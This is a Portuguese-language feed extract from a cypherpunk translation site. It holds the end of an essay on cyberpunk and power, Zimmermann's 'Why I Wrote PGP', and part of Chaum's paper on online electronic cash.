&lt;p>Surge assim um realismo implícito que se constrói independentemente das decisões e desejos dos participantes da experiência cyberpunk. Os processos de organização eletrônica dos dados constroem essa realidade dentro da qual toda experiência, mesmo a violentamente visual, acaba sendo codificada em números na mesma comunicação digital. A aventura virtual que está no centro, pelo menos por enquanto, da cultura cyberpunk, poderia correr o risco de disseminar intenções justamente naquele território de codificação onde cada jogo poderia ser lido em uma chave que confirma o poder. A ideologia implícita de tolerância ao hacking, por mais extrema que seja, nasce e se nutre da ideia, por enquanto não declarada, mas underground,esse poder é capaz de recuperar e gerenciar qualquer comportamento no setor de tecnologia da informação. Nos próximos anos, as condições dessa relação podem mudar, tanto uma realização dos sonhos dos cyberpunks(no setor as coisas acontecem aos trancos e barrancos), quanto um acirramento das preocupações de controle social.&lt;/p>
&lt;p>É verdade que também há tentativas de desmistificar, e que a ação de recuperação e subtração serve indiretamente para estudar o comportamento do poder ao gerir e controlar os dados. Mas tudo isso logo volta sob o manto da própria tecnologia, interferindo nas intenções, colocando-a além do próprio projeto de forma inquebrável. A invenção de novos procedimentos é certamente uma abstração que utiliza meios cabeados porque se apresentam; mas ela mesma acaba sendo a oportunidade de uma parte intermediária dos próprios meios, a partir do limiar descontrolado de todo o sistema de interação tecnológica. Deve-se notar que tudo isso acontece em dois níveis: no nível específico, em que nenhuma criação pode se subtrair de sua interatividade dentro do sistema. No nível tecnológico em geral,na medida em que uma interação mais ampla acabaria por jogar no desenvolvimento de todos os setores tecnológicos que de certa forma estão completamente fora de controle. Não há nada no mundo, seja o cyberpunk ou o sistema de controle, que seja capaz de controlar esse segundo nível de interação tecnológica.&lt;/p>
&lt;p>Muitos apontaram os aspectos negativos de uma colaboração de alguns participantes desse movimento com o governo alemão, ou são sarcásticos sobre a restituição de dinheiro roubado por meio de computadores com o objetivo de demonstrar as fragilidades da contraparte.&lt;/p>
&lt;p>Não considero esses argumentos sérios dentro da esfera de uma crítica substancial do processo de interação com a tecnologia da informação. Em primeiro lugar porque se trata de decisões pessoais e, em segundo lugar, porque o campo de qualquer crítica deve ser o do eventual uso da tecnologia em geral, da tecnologia da informação em particular, de uma forma diferente daquela controlada e administrada pelo poder. Em outras palavras, a única pergunta válida a fazer é se um uso realmente individual da tecnologia de computador é possível. O fim da comunicação, visível nos farrapos da palavra escrita, parece marcar o início do terceiro milênio. O espaço virtual pode constituir um espaço de comunicação eficaz ou se tornará uma forma de selar o caixão do indivíduo? A gestão massificada da comunicação está ocorrendo verticalmente,enquanto o espaço de relacionamento entre os indivíduos está diminuindo. Quando esta sobrevive, é englobada no código unificado do setor, ou seja, aparecem como transmissores de uniformidade, a notícia torna-se significativa justamente por ser homologada preventivamente em um container idêntico. Tudo depende de ver se o modelo virtual proposto é realmente capaz de se mover horizontalmente ou se esse movimento não é mais do que uma passagem da intenção à homologação. Que o outro, justamente em seu papel de interlocutor, seja finalmente substituído pela própria máquina e seu potencial virtual. Mas tudo isso tem uma premissa condicional, pelo menos para o cyberpunk: que resta provar que a máquina pode realmente ser colocada a serviço do homem, e que o poder não pode, paralelamente,armazenar todas as informações necessárias para gerenciar a tecnologia da informação e, no estado atual das coisas, a totalidade da produção e controle. Hacking seria, portanto, apenas capaz de demonstrar quantas rachaduras existem nas estruturas controladas da tecnologia da informação dominante e onde elas residem. Se este objetivo fosse praticável, a consideração oposta também deveria ser certa, que a estrutura dominante não teria os meios para tomar medidas radicais. Agora, não importa a experiência que possa haver em outros campos e outras modalidades de ataque, a capacidade de tomar medidas sempre existe; e essa capacidade permanece, digamos, apenas um diálogo no caso em que o ataque permanece no campo do procedimento simbólico.Entrando na esfera da destruição real, a estrutura de poder modifica seu comportamento e adiciona contra-movimentos que não são apenas repressivos, mas também organizacionais.&lt;/p>
&lt;p>O que estou tentando dizer é que qualquer distúrbio demonstrativo poderia simplesmente convencer a contraparte a incluí-lo nas variáveis ​​de gestão, como um percentual de incerteza. Uma perturbação mais radical leva a medidas que não podem ser estudadas e avaliadas no nível tecnológico por quem simplesmente se intromete na estrutura de poder, justamente porque sua ação não as provoca, portanto não a força a sair. Mantendo essa abordagem, que parece bastante generalizada, os argumentos a favor e contra não são mais do que simples petições de princípio.&lt;/p>
&lt;p>Supor que os resultados obtidos pelo uso da tecnologia eletrônica não conduzem diretamente ao crescimento da consciência humana simplesmente porque se encontram nas mãos de uma minoria desprovida de consciência social, ou é uma tautologia sem esperança, ou uma ilusão enxertada em a função social da tecnologia em geral e do computador em particular. Os excluídos podem fazer um uso diferente dela? Esse hipotético uso diferente pode se tornar o objetivo de todos aqueles que pretendem atacar a gestão do poder? O problema é o clássico da luta contra os dirigentes do poder. Mas agora, além dos aspectos tradicionais desse problema, é preciso ter em mente os elementos e interações específicas dos meios eletrônicos.&lt;/p>
&lt;p>Não estou tentando dizer aqui que se deva desistir de demonizar todos os aspectos da tecnologia eletrônica, ou se limitar a atacar as expressões negativas que estão mais próximas. Isso impediria uma consciência direta dos possíveis efeitos psicológicos dessa tecnologia, portanto, de quaisquer ataques destinados a remediar o problema, contrastando-o com as implicações sociais e políticas relativas. Só que me parece ingênuo confiar na equação que coloca as coisas em um processo linear de se interessar por esses problemas e fazer um certo esforço teórico, concluindo com a possibilidade de compreender e decidir acabar com o negativo. aspectos, preservando os positivos.&lt;/p>
&lt;p>Para evitar mal-entendidos e, consequentemente, discussões inúteis sobre o uso do computador ou o retorno à pena, deve-se ressaltar que não há nada de sagrado em suspeitar da racionalidade em geral, ou contra penetrar, armado de um projeto de longo prazo , a estratégia(aliás que é rapidamente substituída e constantemente à beira de ser substituída) da tecnologia da informação. Há dois pontos a serem observados sobre esse problema: primeiro, não me parece indispensável ter um conhecimento sofisticado dele para perceber os perigos dessa tecnologia no nível da consciência revolucionária. Em segundo lugar, não se deve esquecer o efeito especializado que esse trabalho de penetração no mundo da tecnologia da computação tem sobre o indivíduo.Alguém poderia dizer que limitar essa entrada cognitiva em um mundo que está se encaminhando para a extinção global é equivalente a estar em um trem e não estar interessado em para onde ele está indo. Uma boa objeção, sem necessariamente fazer com que se sinta obrigado a se tornar maquinista para entender melhor se o destino é o certo.&lt;/p>
&lt;p>Existem muitas maneiras de se divertir, e a realidade virtual oferece novas e fascinantes maneiras. No entanto, não se pode sustentar levianamente que isso é equivalente a uma ação que poderíamos realizar(mas muitas vezes não queremos) na realidade. Há uma diferença considerável entre a fruição passiva de meios telemáticos, como a TV, e a ativa, a partir de simples videogames. Mas, estranhamente, essa diferença corresponde de uma forma suspeita ao que o poder espera de nós, ou seja, uma resposta falsamente ativa às suas solicitações, uma competição para perceber o ritmo das iniciativas homologadas de consenso global. A figura do espectador atual bebendo sua cerveja em frente à TV assistindo seu time de futebol favorito, poderia em um futuro não muito distante ser substituído por um espectador(o mesmo) jogando seu próprio jogo na TV ou outro instrumento telemático; enquanto em outros lugares os incluídos estão decidindo seu destino como sujeito passivo que de repente está se iludindo que possui uma força fantástica capaz de revirar o mundo.&lt;/p>
&lt;p>Mas o mundo está em outro lugar, e esse “outro” estaria longe de nosso alcance.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="http://www.revoltlib.com/anarchism/cyberpunk-and-technology/view.php" target="_blank" rel="noopener noreferrer">Cyberpunk and Technology&lt;/a>
&lt;/p></content:encoded></item><item><title>Por que eu escrevi o PGP</title><link>https://cypherpunks.com.br/documentos/porque-eu-escrevi-o-pgp/</link><pubDate>Sun, 09 Jun 1991 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/porque-eu-escrevi-o-pgp/</guid><description>É pessoal. É privado. E não é da conta de ninguém, mas é seu. Você pode estar planejando uma campanha política, discutindo seus impostos ou tendo um romance secreto. Ou você pode estar se comunicando com um dissidente político em um país repressivo. Seja o que for, você não quer que seu e-mail privado ou documentos confidenciais sejam …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Deephi
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="philip-r-zimmermann">Philip R. Zimmermann&lt;/h2>
&lt;h3 id="1991">1991&lt;/h3>
&lt;p>Parte do &lt;em>Guia do Usuário PGP&lt;/em>, do Original 1991 (atualizado em 1999)&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="no puedo" src="https://nakamotoinstitute.org/static/img/docs/why-i-wrote-pgp/prz.jpg" loading="lazy"
/>
&lt;/p>
&lt;blockquote>
&lt;p>Tudo que você fizer será insignificante, mas é muito importante que você faça.&amp;quot; -Mahatma Gandhi
&lt;/p>
&lt;/blockquote>
&lt;p>É pessoal. É privado. E não é da conta de ninguém, mas é seu. Você pode estar planejando uma campanha política, discutindo seus impostos ou tendo um romance secreto. Ou você pode estar se comunicando com um dissidente político em um país repressivo. Seja o que for, você não quer que seu e-mail privado ou documentos confidenciais sejam lidos por qualquer outra pessoa. Não há nada de errado em afirmar sua privacidade. A privacidade é tão clichê quanto a Constituição.&lt;/p>
&lt;p>O direito à privacidade é difundido implicitamente em todo o &lt;em>Bill of Rights&lt;/em>. Mas quando a Constituição dos Estados Unidos foi constituída, os fundadores não viram necessidade de deixar explícito o direito à uma conversa privada. Isso teria sido bobo. Duzentos anos atrás, todas as conversas eram privadas. Se alguém estivesse ao alcance da voz, você poderia ir para trás do celeiro e conversar lá. Ninguém poderia ouvir sem o seu conhecimento. O direito à uma conversa privada era um direito natural, não apenas no sentido filosófico, mas no sentido da lei da física, dada a tecnologia da época.&lt;/p>
&lt;p>Mas com a chegada da era da informação, começando com a invenção do telefone, tudo isso mudou. Agora, a maioria das nossas conversas é conduzida eletronicamente. Isso permite que nossas conversas mais íntimas sejam expostas sem o nosso conhecimento. As chamadas de telefone celular podem ser monitoradas por qualquer pessoa com um rádio. O e-mail eletrônico, enviado pela Internet, não é mais seguro do que as chamadas de celular. O e-mail está rapidamente substituindo o correio, tornando-se a norma para todos, ele não é mais a novidade que era no passado.&lt;/p>
&lt;p>Até recentemente, se o governo quisesse violar a privacidade dos cidadãos comuns, ele teria que gastar uma certa quantia de despesas e mão-de-obra para interceptar, abrir e ler o correio em papel. Ou ele teria que ouvir e possivelmente transcrever conversas telefônicas faladas, pelo menos antes da tecnologia automática de reconhecimento de voz se tornar disponível. Esse tipo de monitoramento intensivo de mão-de-obra não era prático em grande escala. Isso só foi feito em casos importantes, quando parecia valer a pena. É como pegar um peixe de cada vez, com um gancho e uma linha. Hoje, os e-mails podem ser verificados rotineiramente e automaticamente em busca de palavras-chave interessantes, em grande escala, sem detecção.É como pescar com redes de emalhar. E o crescimento exponencial do poder computacional está fazendo a mesma coisa com o tráfego de voz.&lt;/p>
&lt;p>Talvez você ache que seu e-mail é legal o suficiente para que a criptografia não seja necessária. Se você é realmente um cidadão cumpridor da lei sem nada a esconder, então por que você não envia sempre seu correio de papel em cartões postais? Por que não se submeter ao teste de drogas sob demanda? Por que exigir um mandado de busca, se um policial quiser entrar em sua casa? Você está tentando esconder alguma coisa? Se você esconder sua correspondência dentro de envelopes, isso significa que você deve ser um subversivo ou um traficante de drogas, ou talvez um louco paranóico? Os cidadãos cumpridores da lei têm alguma necessidade de criptografar seus e-mails?&lt;/p>
&lt;p>E se todos acreditassem que cidadãos respeitadores da lei deveriam usar cartões postais para enviar correio? Se um não-conformista tentasse afirmar sua privacidade usando um envelope para o seu correio, isso levantaria suspeitas. Talvez as autoridades abrissem sua correspondência para ver o que ele está escondendo. Felizmente, não vivemos nesse tipo de mundo, porque todos protegem a maior parte do correio com envelopes. Portanto, ninguém desconfia, afirmando sua privacidade com um envelope. Há segurança nos números. Analogamente, seria bom se todos usassem rotineiramente a criptografia para todos os seus e-mails, inocentes ou não, de modo que ninguém levantasse suspeitas ao afirmar a privacidade de seus e-mails com criptografia. Pense nisso como uma forma de solidariedade.&lt;/p>
&lt;p>O Projeto de Lei do Senado 266, um projeto de anti-crime omnibus de 1991, teve uma medida inquietante oculta nele. Se essa resolução não vinculante tivesse se tornado lei real, ela teria forçado os fabricantes de equipamentos de comunicações seguras a inserir &amp;ldquo;alçapões&amp;rdquo; especiais em seus produtos, para que o governo pudesse ler as mensagens criptografadas de qualquer pessoa. Ela diz &amp;ldquo;é de interesse do Congresso que os fornecedores de serviços de comunicações eletrónicas e os fabricantes de equipamentos de comunicações eletrónicas assegurem que os sistemas de comunicações permitam ao governo obter o conteúdo de texto simples de voz, dados e outras comunicações quando devidamente autorizado por lei.&amp;rdquo; Foi este projeto de lei que me levou a publicar o PGP eletronicamente e de graça naquele ano, pouco antes de a medida ser derrotada, após os vigorosos protestos dos defensores das liberdades civis e grupos industriais.&lt;/p>
&lt;p>A Lei de Assistência às Comunicações para a Segurança (CALEA), de 1994, determinou que as empresas telefônicas instalassem portas de interceptação remota em seus comutadores digitais, criando uma nova infraestrutura de tecnologia para escutas telefônicas com &amp;ldquo;apontar e clicar&amp;rdquo;, para que os agentes federais não precisassem mais ir lá fora e anexar grampos nas linhas telefônicas. Agora eles poderão se sentar em sua sede em Washington e ouvir seus telefonemas. Claro, a lei ainda exige uma ordem judicial para um grampo. Mas enquanto as infraestruturas tecnológicas podem persistir por gerações, as leis e políticas podem mudar da noite para o dia. Uma vez que uma infraestrutura de comunicações otimizada para a vigilância se torna arraigada, uma mudança nas condições políticas podem levar ao abuso desse poder recém-descoberto. As condições políticas podem mudar com a eleição de um novo governo, ou talvez mais abruptamente com o bombardeio de um prédio federal.&lt;/p>
&lt;p>Um ano após a aprovação da CALEA, o FBI divulgou planos para exigir que as operadoras de telefonia construíssem em sua infraestrutura a capacidade de escutar simultaneamente 1% de todas as chamadas telefônicas em todas as principais cidades dos EUA. Isso representaria um aumento de mais de mil vezes, em relação a capacidade anterior de números de telefones que poderiam ser interceptados. Nos anos anteriores, havia apenas cerca de mil escutas telefônicas nos Estados Unidos por ano, nos níveis federal, estadual e local combinados. É difícil entender como o governo poderia empregar juízes suficientes para assinar ordens de escuta suficientes para grampear 1% de todos os nossos telefonemas, muito menos contratar agentes federais suficientes para se sentar e ouvir todo o tráfego em tempo real.&lt;/p>
&lt;p>A única maneira plausível de processar essa quantidade de tráfego, é uma enorme aplicação &lt;em>orwelliana&lt;/em> de tecnologia automatizada de reconhecimento de voz para analisar todas as palavras-chave, procurando por palavras-chave interessantes ou procurando uma voz de um determinado locutor. Se o governo não encontrar a meta na primeira amostra de 1%, as escutas telefônicas podem ser transferidas para um valor diferente de 1%, até que a meta seja encontrada ou até que a linha telefônica de todos tenha sido verificada quanto ao tráfego subversivo. O FBI disse que eles precisam dessa capacidade para planejar o futuro. Este plano provocou tanta indignação que foi derrotado no Congresso. Mas o simples fato de que o FBI pedir por esses amplos poderes é revelador de sua agenda.&lt;/p>
&lt;p>Avanços na tecnologia não permitirão a manutenção do status quo, no que se refere à privacidade. O status quo é instável. Se não fizermos nada, as novas tecnologias darão ao governo novas capacidades de vigilância automática, com as quais Stalin nunca poderia ter sonhado. A única maneira de manter a privacidade na era da informação é com uma criptografia forte.&lt;/p>
&lt;p>Você não precisa desconfiar do governo para querer usar criptografia. Seu negócio pode ser interceptado por rivais empresariais, crime organizado ou governos estrangeiros. Vários governos estrangeiros, por exemplo, admitem usar seus sinais de inteligência contra empresas de outros países para dar às suas próprias corporações uma vantagem competitiva. Ironicamente, as restrições do governo dos Estados Unidos à criptografia nos anos 90 enfraqueceram as defesas corporativas dos EUA contra a inteligência estrangeira e o crime organizado.&lt;/p>
&lt;p>O governo sabe o papel fundamental que a criptografia está destinada a desempenhar na relação de poder com seu povo. Em abril de 1993, o governo Clinton revelou uma nova e ousada iniciativa política sobre criptografia, que estava em desenvolvimento na Agência Nacional de Segurança (NSA) desde o início do governo Bush. O ponto central dessa iniciativa era um dispositivo de criptografia criado pelo governo, chamado de chip Clipper, contendo um novo algoritmo de criptografia secreto da NSA. O governo tentou incentivar a indústria privada a projetá-la em todos os seus produtos de comunicação segura, como telefones seguros, faxes seguros e assim por diante. A AT &amp;amp; T colocou o Clipper em seus produtos de voz seguros. A pegadinha: no momento da fabricação, cada chip Clipper é carregado com sua própria chave única, e o governo consegue manter uma cópia, colocada em custódia. Não se preocupe, o governo promete que usará essas chaves para ler seu tráfego apenas &amp;ldquo;quando devidamente autorizado por lei&amp;rdquo;. Claro, para tornar o Clipper completamente eficaz, o próximo passo lógico seria proibir outras formas de criptografia.&lt;/p>
&lt;p>O governo inicialmente alegou que o uso do Clipper seria voluntário, que ninguém seria forçado a usá-lo em vez de outros tipos de criptografia. Mas a reação pública contra o chip Clipper foi forte, mais forte do que o governo previa. A indústria de computadores monoliticamente proclamou sua oposição ao uso do Clipper. O diretor do FBI, Louis Freeh, respondeu a uma pergunta em uma conferência de imprensa em 1994 dizendo que, se Clipper não conseguisse apoio público, e grampos do FBI fossem excluídos por criptografia não controlada pelo governo, seu escritório não teria outra escolha senão buscar ajuda legislativa. Mais tarde, no rescaldo da tragédia de Oklahoma City, o Sr. Freeh testemunhou perante o Senado Judiciário&lt;/p>
&lt;p>O governo alegou que o uso do Clipper seria voluntário, que não seria forçado a usá-lo em vez de outros tipos de criptografia. Mas a reação pública contra o chip Clipper foi forte, mais forte do que o governo previa. A indústria de computadores monoliticamente proclamou sua oposição ao uso do Clipper. diretor do FBI Louis Freeh respondeu a uma pergunta em uma conferência de imprensa em 1994, dizendo que se Clipper não conseguisse ganhar apoio público, e escutas do FBI fossem impedidas por criptografia não controlado pelo governo, seu escritório não teria outra escolha senão buscar apoio legislativo. Mais tarde, como resultado da tragédia Oklahoma City, Freeh testemunhou perante o Comitê Judiciário do Senado que a disponibilidade pública de criptografia forte deveria ser limitada pelo governo (embora ninguém tenha sugerido que a criptografia tenha sido usado pelos responsáveis pelo bombardeio).&lt;/p>
&lt;p>O histórico do governo não inspira a confiança de que eles nunca abusarão de nossas liberdades civis. O programa COINTELPRO do FBI teve como alvo grupos que se opunham às políticas governamentais. Eles espiaram o movimento contra a guerra e o movimento pelos direitos civis. Eles grampearam o telefone de Martin Luther King. Nixon tinha sua lista de inimigos. Depois houve a bagunça do Watergate. Mais recentemente, o Congresso tentou aprovar leis restringindo nossas liberdades civis na Internet. Alguns elementos da Casa Branca de Clinton coletaram arquivos confidenciais do FBI sobre funcionários públicos republicanos, concebivelmente para exploração política. E alguns promotores da justiça mostraram uma vontade de ter ir até os confins da Terra em busca de expor indiscrições sexuais de seus inimigos políticos. Em nenhum momento no século passado a falta de confiança pública no governo foi tão amplamente generalizada em todo o espectro político como é hoje.&lt;/p>
&lt;p>Ao longo da década de 1990, eu percebi que, se queremos que se quisermos resistir a essa tendência inquietante do governo de proibir a criptografia, uma medida que podemos aplicar é usar a criptografia, tanto quanto pudermos agora, enquanto ainda é legal. Quando o uso de criptografia forte se torna popular, será mais difícil para o governo criminalizá-la. Portanto, usar o PGP é bom para preservar a democracia. Se a privacidade for proibida, apenas os fora da lei terão privacidade.&lt;/p>
&lt;p>Parece que a implantação do PGP deve ter funcionado, juntamente com anos de clamor público e pressão da indústria para diminuir os controles sobre a exportação. Nos últimos meses de 1999, o governo Clinton anunciou uma mudança radical na política de exportação para a tecnologia criptográfica. Eles jogaram fora todo o regime de controle de exportação. Agora, finalmente podemos exportar criptografia forte, sem limites superiores de resistência. Foi uma longa luta, mas finalmente vencemos, pelo menos em relação ao controle de exportação nos EUA. Agora devemos continuar nossos esforços para implementar a criptografia forte para amenizar os efeitos do aumento dos esforços de segurança na Internet de vários governos. E ainda precisamos consolidar nosso direito de usá-lo domesticamente, apesar das objeções do FBI.&lt;/p>
&lt;p>O PGP permite que as pessoas exerçam sua privacidade com suas próprias mãos. Tem havido uma crescente necessidade social para isso. É por isso que eu o escrevi.&lt;/p>
&lt;p>&lt;strong>Philip R. Zimmermann&lt;/strong> Boulder, Colorado Junho de 1991 (atualizado em 1999)&lt;/p>
&lt;p>Fonte: &lt;a href="https://nakamotoinstitute.org/why-i-wrote-pgp/" target="_blank" rel="noopener noreferrer">Why I Wrote PGP - Philip R. Zimmermann&lt;/a>
&lt;/p></content:encoded></item><item><title>Verificações de dinheiro online</title><link>https://cypherpunks.com.br/documentos/verificacoes-de-dinheiro-online/</link><pubDate>Sun, 01 Jan 1989 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/verificacoes-de-dinheiro-online/</guid><description> Economias de aproximadamente uma ordem de grandeza em espaço, armazenamento e largura de banda sobre protocolos de dinheiro eletrônico on-line publicados anteriormente são alcançadas pelas técnicas aqui apresentadas. Além disso, essas técnicas podem aumentar a conveniência, fazer uso mais eficiente dos recursos e melhorar a privacidade.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Steffan Diorgy
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;!-- raw HTML omitted -->
&lt;p>&lt;!-- raw HTML omitted -->David Chaum&lt;!-- raw HTML omitted -->&lt;/p>
&lt;h4 id="1989">1989&lt;/h4>
&lt;h3 id="introdução">Introdução&lt;/h3>
&lt;p>&lt;/p>
&lt;p>Economias de aproximadamente uma ordem de grandeza em espaço, armazenamento e largura de banda sobre protocolos de dinheiro eletrônico on-line publicados anteriormente são alcançadas pelas técnicas aqui apresentadas. Além disso, essas técnicas podem aumentar a conveniência, fazer uso mais eficiente dos recursos e melhorar a privacidade.&lt;/p>
&lt;p>O dinheiro eletrônico &amp;ldquo;off-line&amp;rdquo;&lt;!-- raw HTML omitted -->&lt;a href="#fnCFN88">[CFN88]&lt;/a>
&lt;!-- raw HTML omitted --> é adequado para transações de baixo valor, em que a &amp;ldquo;prestação de contas após o fato&amp;rdquo; é suficiente para impedir o abuso; o pagamento on-line&lt;!-- raw HTML omitted -->&lt;a href="#fnC89">[C89]&lt;/a>
&lt;!-- raw HTML omitted -->, no entanto, continua sendo necessário para transações que exigem &amp;ldquo;restrição prévia&amp;rdquo; contra pessoas que gastam além de seus fundos disponíveis.&lt;/p>
&lt;p>Três esquemas online são apresentados aqui. Cada um depende das mesmas técnicas para codificar as denominações em assinaturas e para &amp;ldquo;desvalorizar&amp;rdquo; as assinaturas para o valor exato escolhido no momento do pagamento. Eles diferem em como o valor não gasto é devolvido ao pagador. No primeiro, todas as alterações são acumuladas pelo pagador em um único &amp;ldquo;pote de biscoitos&amp;rdquo;, que pode ser depositado no banco durante a próxima transação de retirada. Os segundo e terceiro esquemas permitem que a mudança seja distribuída entre as notas não gastas, que podem depois ser gastas. O segundo esquema revela à loja e ao banco o montante máximo pelo qual uma nota pode ser gasta; o terceiro não divulga essa informação.&lt;/p>
&lt;h3 id="denominações-e-desvalorização">Denominações e desvalorização&lt;/h3>
&lt;p>Por simplicidade e concretude, mas sem perda de generalidade, um esquema de denominação particular será usado aqui. Atribui o valor de 1 centavo ao expoente público 3 em um sistema RSA, o valor de 2 centavos ao expoente 5, 4 centavos ao expoente 7 e assim por diante; cada valor sucessivo de potência-de-dois é representado pelo correspondente expoente público ímpar correspondente, todos com o mesmo módulo. Assim como em [C89], uma terceira raiz de uma imagem sob a função unidirecional f (juntamente com o módulo de pré-imagem do composto RSA do banco) vale 1 centavo, uma raiz 7 vale 4 centavos e uma raiz 21 5 centavos. Em outras palavras, um expoente primário público distinto é associado a cada dígito da representação inteira binária de uma quantia de pagamento; para uma determinada quantia de pagamento, o produto de todos aqueles expoentes principais correspondentes a 1 '&lt;/p>
&lt;p>Uma assinatura em uma imagem sob f é &amp;ldquo;desvalorizada&amp;rdquo;, elevando-a aos poderes públicos correspondentes aos valores de moeda que devem ser removidos. Por exemplo, uma nota com uma raiz de 21 pode ser desvalorizada do seu valor de 5 cêntimos para 1 cêntimo, simplesmente aumentando-a para a 7ª potência.&lt;/p>
&lt;p>Nos sistemas de pagamento on-line anteriores&lt;!-- raw HTML omitted -->&lt;a href="#fnC89">[C89]&lt;/a>
&lt;!-- raw HTML omitted -->, o número de assinaturas separadas necessárias para um pagamento era, em geral, o peso de Hamming da representação binária do valor. Como os sistemas on-line seriam usados ​​para pagamentos de valor mais alto (como mencionado acima), e uma resolução extra pode ser desejada para fornecer juros para fundos não gastos&lt;!-- raw HTML omitted -->&lt;a href="#fnC89">[C89]&lt;/a>
&lt;!-- raw HTML omitted -->, uma média de aproximadamente uma ordem de magnitude é salva aqui.&lt;/p>
&lt;h3 id="pote-de-biscoitos">Pote de biscoitos&lt;/h3>
&lt;p>Neste primeiro esquema, o pagador retira periodicamente uma oferta de notas do banco, cada uma com o valor máximo para todo o sistema. Considere um exemplo, mostrado na Figura 1.1, no qual duas notas são retiradas. N e ri são aleatórios. O ri &amp;ldquo;cego&amp;rdquo; (do banco) as imagens sob a função pública, unidirecional f. A assinatura do banco corresponde à raiz h-ésima, onde h = 3 * 5 * 7 * 11. Como em todos os números, o pagador envia mensagens da esquerda e o banco envia da direita.&lt;/p>
&lt;!-- raw HTML omitted -->
&lt;!-- raw HTML omitted -->
&lt;p>Na preparação do primeiro pagamento, o pagador divide r1 out. A assinatura é então aumentada para a 55ª potência para desvalorizá-la de 15 centavos a 5 centavos. A figura 1.2 mostra esse primeiro pagamento. É claro que a loja é um intermediário entre o pagador (à esquerda) e o banco (à direita) em cada pagamento on-line, mas isso não é indicado explicitamente. Também não são mostrados nos números as mensagens usadas para concordar com os valores de pagamento.&lt;/p>
&lt;!-- raw HTML omitted -->
&lt;!-- raw HTML omitted -->
&lt;p>Os dois primeiros resíduos enviados pagando, n1 e sua imagem assinada sob f, são facilmente verificados pelo banco valendo 5 centavos. O terceiro resíduo é um &amp;ldquo;cookie jar&amp;rdquo; cego, uma imagem cega sob f de um valor escolhido aleatoriamente j. Este cookie jar é modulo um segundo composto RSA que é usado apenas para jars de cookie. Uma vez que o banco verifique os fundos recebidos e que n1 não tenha sido gasto anteriormente, ele assina e retorna o frasco de cookie cegado (sob o módulo jar do cookie) com expoentes públicos correspondentes à alteração devida.&lt;/p>
&lt;p>O segundo pagamento, mostrado na figura 1.3, é essencialmente o mesmo que o primeiro, exceto que a quantia é de 3 centavos e o cookie jar agora tem algumas raízes. Se mais pagamentos fossem feitos usando o mesmo pote de biscoitos, todas as assinaturas resultantes para mudança se acumulariam.&lt;/p>
&lt;!-- raw HTML omitted -->
&lt;!-- raw HTML omitted -->
&lt;p>O pode de biscoitos pode ser convenientemente depositado, como mostrado na figura 1.4, durante a retirada do próximo lote de notas. É verificado pelo banco como uma nota de pagamento seria: as raízes devem estar presentes na multiplicidade reivindicada e a pré-imagem em f não deve ter sido depositada antes.&lt;/p>
&lt;!-- raw HTML omitted -->
&lt;!-- raw HTML omitted -->
&lt;p>A abordagem do pode de biscoitos o efeito de um formulário on-line de &amp;ldquo;cheques off-line&amp;rdquo;&lt;!-- raw HTML omitted -->&lt;a href="#fnC89">[C89]&lt;/a>
&lt;!-- raw HTML omitted -->, em que as notas de um valor fixo são retiradas e as partes não gastas posteriormente creditadas ao pagador durante uma transação de reembolso.&lt;/p>
&lt;h3 id="valor-da-nota-declarada">Valor da nota declarada&lt;/h3>
&lt;p>A Figura 2 descreve um esquema um pouco diferente, que permite que a mudança seja gasta sem uma transação de retirada intermediária. As retiradas podem ser exatamente como no esquema cookie-jar, mas aqui um único módulo é usado para tudo no sistema. Os produtos de exponentes públicos que representam os vários valores são os seguintes: d é o valor pago, g é o valor da nota, a &amp;ldquo;mudança&amp;rdquo; c é g / d e h é novamente a quantia máxima, onde d | g | h. Um pagamento (ainda para o banco através de uma loja) inclui primeiro e segundo componentes que são os mesmos que no esquema cookie-jar. O terceiro componente é a quantidade de mudança que o solicitante deve devolver. O quarto é um número (cego) m, que poderia ser uma imagem sob f usada em um pagamento posterior, assim como n é usado neste.&lt;/p>
&lt;!-- raw HTML omitted -->
&lt;!-- raw HTML omitted -->
&lt;p>A assinatura retornada contém um fator de &amp;ldquo;proteção&amp;rdquo; (mostrado dentro do cadeado). Esse fator garante que o pagador realmente tenha a c-ésima raiz de f (n), exigindo que o pagador lhe aplique f antes de dividir o resultado da assinatura. Sem essa proteção, um pagador pode obter a mudança máxima em todo o sistema, independentemente da quantidade de mudança realmente devida; com isso, a mudança reivindicada só pode ser recuperada se as raízes correspondentes em n forem de fato conhecidas do pagador.&lt;/p>
&lt;h3 id="distribuição-de-mudança">Distribuição de mudança&lt;/h3>
&lt;p>A alteração retornada em um pagamento pode ser dividida em partes que preenchem as denominações ausentes nas notas ainda não gastas. Suponha, por exemplo, que o último pagamento seja gasto com d = 5 * 11, c = 3 * 7 e que m seja formado pelo pagador conforme mostrado na primeira linha da Figura 3.1. Em seguida, desbloquear após o pagamento produz o a mostrado na segunda linha.&lt;/p>
&lt;p>(Use === for &amp;ldquo;é equivalente a&amp;rdquo;)&lt;/p>
&lt;!-- raw HTML omitted -->
&lt;!-- raw HTML omitted -->
&lt;p>De a, as duas raízes mostradas nas duas últimas linhas da Figura 3.2 são prontamente calculadas. (Essa técnica é facilmente estendida para incluir qualquer número de raízes separadas.) Assim, os valores não utilizados no último pagamento preenchem as raízes ausentes nas notas n1 e n2.&lt;/p>
&lt;!-- raw HTML omitted -->
&lt;!-- raw HTML omitted -->
&lt;p>Como o pagamento a maior permite que a mudança seja devolvida em quaisquer denominações escolhidas (não mostradas), o pagador tem flexibilidade extra e é capaz de usar todos os fundos retidos. Isso também aumenta a conveniência, reduzindo a necessidade de retiradas.&lt;/p>
&lt;h3 id="valor-da-nota-oculta">Valor da nota oculta&lt;/h3>
